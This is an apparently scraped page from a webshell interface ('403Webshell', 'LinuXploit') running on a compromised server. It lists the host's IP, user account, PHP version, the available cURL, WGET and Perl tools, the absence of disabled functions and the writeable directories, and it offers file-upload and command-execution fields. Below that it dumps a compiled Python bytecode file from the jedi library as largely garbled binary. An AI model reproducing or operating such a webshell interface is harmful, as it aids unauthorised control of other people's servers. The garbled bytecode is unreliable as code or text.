403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/jedi/inference/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/jedi/inference/__pycache__/docstrings.cpython-311.pyc
�

p�{c`&��x�dZddlZddlZddlmZmZddlmZddlm	Z	ddl
mZmZm
Z
ddlmZgd�Zejd	ej��ejd
ej��gZejd��Zdad�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Ze	��d���Ze	��ed�����Z dS)a�
Docstrings are another source of information for functions and classes.
:mod:`jedi.inference.dynamic_params` tries to find all executions of functions,
while the docstring parsing is much easier. There are three different types of
docstrings that |jedi| understands:

- `Sphinx <http://sphinx-doc.org/markup/desc.html#info-field-lists>`_
- `Epydoc <http://epydoc.sourceforge.net/manual-fields.html>`_
- `Numpydoc <https://github.com/numpy/numpy/blob/master/doc/HOWTO_DOCUMENT.rst.txt>`_

For example, the sphinx annotation ``:type foo: str`` clearly states that the
type of ``foo`` is ``str``.

As an addition to parameter searching, this module also provides return
annotations.
�N)�parse�ParserSyntaxError)�debug)�inference_state_method_cache)�iterator_to_value_set�ValueSet�	NO_VALUES)�LazyKnownValues)z\s*:type\s+%s:\s*([^\n]+)z\s*:param\s+(\w+)\s+%s:[^\n]*z\s*@type\s+%s:\s*([^\n]+)z\s*:rtype:\s*([^\n]+)z\s*@rtype:\s*([^\n]+)z:[^`]+:`([^`]+)`c�p�ttttf��rt�ddlm}|atS)Nr��NumpyDocString)�
isinstance�_numpy_doc_string_cache�ImportError�SyntaxError�numpydoc.docscraper
rs �;/usr/lib/python3/dist-packages/jedi/inference/docstrings.py�_get_numpy_doc_string_clsr/s>���)�K��+E�F�F�&�%�%�1�1�1�1�1�1�,��"�"�c��tj��5tjd��	t��|��jd}n#t
$rgcYcddd��SwxYw	ddd��n#1swxYwY|D]V\}}}||krJt
jd|��}|r|�d��}tt|����cS�WgS)zASearch `docstr` (in numpydoc format) for type(-s) of `param_str`.�ignore�
ParametersNz"([^,]+(,[^,]+)*?)(,[ ]*optional)?$�)�warnings�catch_warnings�simplefilterr�_parsed_data�	Exception�re�match�group�list�_expand_typestr)�docstr�	param_str�params�p_name�p_type�p_descr�ms       r�_search_param_in_numpydocstrr+8sa��	�	 �	"�	"�����h�'�'�'�	�1�.�0�0��8�8�E�l�S�F�F���	�	�	��I�I���������	����
�������������������$*�1�1������Y�����>��G�G�A��
$�����������/�/�0�0�0�0�0�	�
�Is4�A8�"A
�A8�
A(�A8�'A(�(A8�8A<�?A<c#�K�tj��5tjd��	t��|��}n#t$rYddd��dSwxYw	ddd��n#1swxYwY	|jd}||jdz
}n#t$rYdSwxYw|D]\}}}|s|}t
|��Ed{V��� dS)zP
    Search `docstr` (in numpydoc format) for type(-s) of function returns.
    rN�Returns�Yields)rrrrrrr#)r$�doc�returns�r_name�r_type�r_descrs      r�_search_return_in_numpydocstrr4Ks����
�	 �	"�	"�����h�'�'�'�	�-�+�-�-�f�5�5�C�C���	�	�	����������	����
���������������������"�9�-���3�#�H�-�-���������������#*�+�+������	��F�"�6�*�*�*�*�*�*�*�*�*�*�	+�+sF�A-�A�A-�
A�A-�A�A-�-A1�4A1�9B�
B%�$B%c#�K�tjd|��rI|�d��D]1}|�d��d���V��2dStjd|��r|�d��dV�dS|�d��r�t|d���jd}|jd	krlt|jd
dg��D]Q}|jdkrd
|j	vrdV��dV�� |jdkr$d|j
���vrdV��KdV��PdSdS|V�dS)z@
    Attempts to interpret the possible types in `type_str`
    z\bor\b�or�ofrz\bof\b�{z3.7)�version�atomr�children�number�.�float�int�string�b�bytes�strN)r�search�split�strip�
startswithrr;�type�getattr�value�
string_prefix�lower)�type_str�t�node�leafs    rr#r#cs�����

�y��H�%�%������%�%�	+�	+�A��'�'�$�-�-��"�(�(�*�*�*�*�*�*�	+�	+�
��9�h�	'�	'���n�n�T�"�"�1�%�%�%�%�%�%�	�	�	�S�	!�	!���X�u�-�-�-�6�q�9���9������
�a� 0�*�b�A�A�

$�

$���9��(�(��d�j�(�(�%�
�
�
�
�#������Y�(�*�*��d�0�6�6�8�8�8�8�%�
�
�
�
�#�������

$�

$������rc�����fd�tD��}|D]>}|�|��}|r%t|�d����gcS�?t	|���S)a�
    Search `docstr` for type(-s) of `param_str`.

    >>> _search_param_in_docstr(':type param: int', 'param')
    ['int']
    >>> _search_param_in_docstr('@type param: int', 'param')
    ['int']
    >>> _search_param_in_docstr(
    ...   ':type param: :class:`threading.Thread`', 'param')
    ['threading.Thread']
    >>> bool(_search_param_in_docstr('no document', 'param'))
    False
    >>> _search_param_in_docstr(':param int param: some description', 'param')
    ['int']

    c�b��g|]+}tj|tj���z����,S�)r�compile�escape)�.0�pr%s  �r�
<listcomp>z+_search_param_in_docstr.<locals>.<listcomp>�sB���3�3�3���
�1�r�y��3�3�3�4�4�3�3�3rr)�DOCSTRING_PARAM_PATTERNSrD�_strip_rst_roler!r+)r$r%�patterns�patternr s `   r�_search_param_in_docstrr]�s����$3�3�3�3�1�3�3�3�H��5�5�����v�&�&���	5�#�E�K�K��N�N�3�3�4�4�4�4�	5�(��	�:�:�:rc�h�t�|��}|r|�d��S|S)a�
    Strip off the part looks like a ReST role in `type_str`.

    >>> _strip_rst_role(':class:`ClassName`')  # strip off :class:
    'ClassName'
    >>> _strip_rst_role(':py:obj:`module.Object`')  # works with domain
    'module.Object'
    >>> _strip_rst_role('ClassName')  # do nothing when not ReST role
    'ClassName'

    See also:
    http://sphinx-doc.org/domains.html#cross-referencing-python-objects

    r)�REST_ROLE_PATTERNr r!)rMr s  rrZrZ�s4��
�#�#�H�-�-�E����{�{�1�~�~���rc��|�gStjd|��}d�d�|D����}|�d|��}tjd|d���|jj}	|�|d���}n#t$rgcYSwxYw	|j	d	}n#ttf$rgcYSwxYw|jd
vrgSddl
m}|||j|g�
��}tt!|���|����S)Nz((?:\w+\.)*\w+)\.�
c3� K�|]	}d|��V��
dS)zimport NrS)rVrWs  r�	<genexpr>z._infer_for_statement_string.<locals>.<genexpr>�s(����A�A�!�
�!�
�
�A�A�A�A�A�ArzParse docstring code %s�BLUE��colorF)�error_recovery���)�namer:�	atom_exprr)�DocstringModule)�in_module_context�inference_state�module_node�
code_lines)r�findall�joinr�dbgrm�grammarrrr;�AttributeError�
IndexErrorrH�jedi.inference.docstring_utilsrkr"�_execute_types_in_stmt�
as_context)	�module_contextr@�potential_imports�importsrs�module�stmtrkr*s	         r�_infer_for_statement_stringr~�se��
�~��	��
�#7��@�@���i�i�A�A�/@�A�A�A�A�A�G��
#�
#�6�
#�
#�F�	�I�'��v�>�>�>�>��,�4�G�����v�e��<�<���������	�	�	��������r�"�����J�'�����	�	�	������y�5�5�5��	�?�>�>�>�>�>���(�&�6���		�	�	�A��&�q�|�|�~�~�t�<�<�=�=�=s$�$A<�<B�
B�
B�B3�2B3c�n����|��}tj�fd�|D����S)z�
    Executing all types or general elements that we find in a statement. This
    doesn't include tuple, list and dict literals, because the stuff they
    contain is executed. (Used as type information).
    c3�B�K�|]}t�j|��V��dS�N)�_execute_array_valuesrm)rV�drys  �rrcz)_execute_types_in_stmt.<locals>.<genexpr>�sD�������
�	�n�<�a�@�@������r)�
infer_noder�	from_sets)ryr}�definitionss`  rrwrw�sS���!�+�+�D�1�1�K�������������rc���ddlm}m}m}t	||��r�|jdvr�g}|���D]V}tj�fd�|�	��D����}|�
t|�����W|jdkr|n|}|�|��hS|���S)z�
    Tuples indicate that there's not just one return value, but the listed
    ones.  `(str, int)` means that it returns a tuple with both types.
    r)�SequenceLiteralValue�	FakeTuple�FakeList)�tupler"c3�8�K�|]}t�|��V��dSr�)r�)rV�typrms  �rrcz(_execute_array_values.<locals>.<genexpr>�sA�����)�)��&�o�s�;�;�)�)�)�)�)�)rr�)
�jedi.inference.value.iterabler�r�r�r�
array_type�
py__iter__rr��infer�appendr
�execute_annotation)	rm�arrayr�r�r��values�
lazy_value�objects�clss	`        rr�r��s���
X�W�W�W�W�W�W�W�W�W��%�-�.�.�*�5�3C�GX�3X�3X����*�*�,�,�	4�	4�J��(�)�)�)�)�%�+�+�-�-�)�)�)���G�
�M�M�/�'�2�2�3�3�3�3� �+�w�6�6�i�i�H����O�V�,�,�-�-��'�'�)�)�)rc������fd�}|��������}|jdkrtS||�����}|���r=|���dkr%|||j�����z}tj	d|d���|S)Nc�j��t�fd�t|�jj��D����S)Nc3�B�K�|]}t�|��D]}|V���dSr�)r~)rVr%rWrys   �rrcz7infer_param.<locals>.infer_docstring.<locals>.<genexpr>�sX�����
�
��0���K�K�
�
��
�
�
�
�
�
�
�
r)rr]rirJ)�	docstringry�params ��r�infer_docstringz$infer_param.<locals>.infer_docstring�sJ����
�
�
�
�4�Y��
�@P�Q�Q�
�
�
�
�
�	
r�lambdef�__init__z#Found param types for docstring: %srdre)
�get_root_context�get_parent_functionrHr	�	py__doc__�is_bound_method�
py__name__�
class_contextrrr)�function_valuer�r��func�typesrys `   @r�infer_paramr��s�����
�
�
�
�
�
�$�4�4�6�6�N��$�$�&�&�D��y�I������O�N�4�4�6�6�7�7�E��%�%�'�'�K��)�)�+�+�z�9�9�
����!=�!G�!G�!I�!I�J�J�J��	�I�3�U�&�I�I�I�I��Lrc#�K�d�}||�����D]*}t|���|��Ed{V���+dS)Nc3�K�tD]=}|�|��}|r$t|�d����V��>t	|��Ed{V��dS)Nr)�DOCSTRING_RETURN_PATTERNSrDrZr!r4)�coderWr s   r�search_return_in_docstrz3infer_return_types.<locals>.search_return_in_docstrsq����*�	6�	6�A��H�H�T�N�N�E��
6�%�e�k�k�!�n�n�5�5�5�5�5��0��6�6�6�6�6�6�6�6�6�6�6r)r�r~r�)r�r�rMs   r�infer_return_typesr�s}����7�7�7�,�+�N�,D�,D�,F�,F�G�G�\�\��.�~�/N�/N�/P�/P�RZ�[�[�[�[�[�[�[�[�[�[�\�\r)!�__doc__rr�parsorr�jedir�jedi.inference.cacher�jedi.inference.base_valuerrr	�jedi.inference.lazy_valuer
rYrT�Mr�r_rrr+r4r#r]rZr~rwr�r�r�rSrr�<module>r�s�����"
�	�	�	�����*�*�*�*�*�*�*�*�������=�=�=�=�=�=�����������5�5�5�5�5�5������B�J�'���.�.��B�J�'���.�.���
�B�J�2�3�3����#�#�#����&+�+�+�0���B;�;�;�8���,">�">�">�J
�
�
�*�*�*�(������ ���*�����
\�
\��� ��
\�
\�
\r

Youez - 2016 - github.com/yon3zu
LinuXploit